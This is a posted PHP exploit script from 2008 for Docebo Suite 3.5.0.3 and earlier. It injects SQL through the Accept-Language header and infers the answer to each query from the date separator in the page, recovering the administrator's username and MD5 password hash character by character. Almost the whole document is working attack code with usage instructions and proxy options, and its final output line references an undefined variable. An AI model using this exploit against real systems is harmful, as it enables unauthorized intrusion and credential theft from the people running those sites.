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docebo-sql.txt

Posted on 11 January 2008

<?php
print_r('
-----------------------------------------------------------------------------
Docebo Suite <= 3.5.0.3 (lib.regset.php/non-blind) SQL injection exploit
by rgod
bug found by EgiX
working with Mysql >= 4.1
PHP 5.X (needed by Docebo) regardless of php.ini settings
no benchmark()
quickly coded to perform credentials disclosure
-----------------------------------------------------------------------------
');

if ($argc<3) {
print_r('
-----------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host:      target server (ip/hostname)
path:      path to docebo
Options:
-p[port]:    specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /docebo/ -P1.1.1.1:80
php '.$argv[0].' localhost /docebo/ -p81
-----------------------------------------------------------------------------
');
die;
}

error_reporting(7);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.="  .";}
else
{$result.="  ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="
"; $exa.="
";}
}
return $exa."
".$result;
}

$proxy_regex = '(d{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5})';

function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...
";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

//docebo changes the date separator according to the header
//es.: en -> /
//     it -> -
//so this is not a blind one, you can ask true-false questions and see
//the separator

$j=1;$admin="";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql="en%' AND ASCII(SUBSTR((SELECT userid FROM core_user WHERE idst=1011) FROM $j FOR 1))=$i/*";
echo "query -> ".$sql."

";
$packet ="GET ".$p."doceboCms/ HTTP/1.0
";
$packet.="User-Agent: Googlebot/2.1
";
$packet.="Host: ".$host."
";
$packet.="Accept: text/plain
";
$packet.="Accept-Language: $sql
";
$packet.="Connection: Close

";
sendpacketii($packet);
//2008 is the actual year, change it if you need
if (!eregi('-2008',$html)) {$admin.=chr($i);echo "admin -> ".$admin."[???]
";sleep(2);break;}
if ($i==255) {die("Exploit failed...");}
}

$j++;
}

$md5s[0]=0;//null
$md5s=array_merge($md5s,range(48,57)); //numbers
$md5s=array_merge($md5s,range(97,102));//a-f letters
$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$md5s))
{
$sql="en%' AND ASCII(SUBSTR((SELECT pass FROM core_user WHERE idst=1011) FROM $j FOR 1))=$i/*";
$packet ="GET ".$p."doceboCms/ HTTP/1.0
";
$packet.="User-Agent: Googlebot/2.1
";
$packet.="Host: ".$host."
";
$packet.="Accept: text/plain
";
$packet.="Accept-Language: $sql
";
$packet.="Connection: Close

";
sendpacketii($packet);
if (!eregi('-2008',$html)) {$password.=chr($i);echo "password -> ".$password."[???]
";sleep(2);break;}
}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}

echo "admin:     ".$admin."
";//remove slash when you login
echo "md5 hash:  ".$pass."
";
?>

 

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